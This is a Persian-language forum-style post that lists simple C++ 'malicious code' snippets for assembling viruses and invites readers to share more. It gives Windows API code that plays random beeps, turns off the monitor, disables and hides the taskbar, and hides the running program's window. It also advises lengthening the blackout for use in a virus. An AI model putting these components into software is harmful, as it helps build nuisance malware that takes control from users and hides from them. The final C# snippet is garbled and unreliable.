در این پست کدهای مخرب ساده ویروس رو لیست میکنیم تا در ساخت ویروس بصورت گلچین بتونیم ازشون استفاده کنیم
این پست رو احتمالا هر از گاهی آپدیت میکنیم
شما هم میتونید کدهای مخرب سی پلاس پلاس تون رو زیر این پست با ما به اشتراک بزارین
پست هایی که در بحث ویروس نویسی به زبان سی پلاس پلاس لازم میشه بهشون سر بزنید
خوب بریم سراغ کدهامون
ابتدا یه کد جالب :
int Freq, Dur, i;
for (i = 0; i < 300; i++) {
Freq = rand() % 300;
Dur = rand() % 501;
Beep(Freq, Dur);
}
return 0;
تکه کد بالا رو بدون ترس اجرا کنید (موزیک مورد علاقه منو پخش میکنهD: )
کارش فقط اینه که تولید صدا میکنه و یجور صدای جالب گیج کننده با ویژگی Beep سیستم ایجاد میکنه
میتونید بجای 300 از اعداد دیگه ای هم استفاده کنید که پیشنهاد میکنم 2001 رو هم تست کنید
خاموش کردن مانیتور
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
Sleep(2000);
return 0;
میتونید تست کنید
برای دو ثانیه مانیتورتون کلا مشکی میشه
برای ویروس باید عدد 2000 رو افزایش بدیم
محو کردن نوار وظیفه ی ویندوز
HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd", NULL);
EnableWindow(hWin, false);
ShowWindow(hWin, false);
return 0;
میتونید تست کنید
برای بازگرداندن نوار وظیفه تون باید مقدار های false رو true کنید و برنامه رو دوباره استارت کنید
مخفی شدن ویروس
HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin, false);
return 0;
تست این کد به تنهایی هیچ ارزشی نداره چون به محض اجرا شدن متوقف خواهد شد
برای تست بهتره کد زیر رو قبل از return قرار بدین
Sleep(7000);
اینطوری میتونید مطمئن شید که برنامه برای هفت ثانیه در حال اجرا هست ولی مخفیه
.
.
.
اگه خواستید اون قسمت موزیک تو سی شارپ کدش این جوری میشه
Random X = new Random () ; l
For ( int i = 0 ; i }
Console.Beep ( X.Next (2001) , X.Next (501) ) ; l
{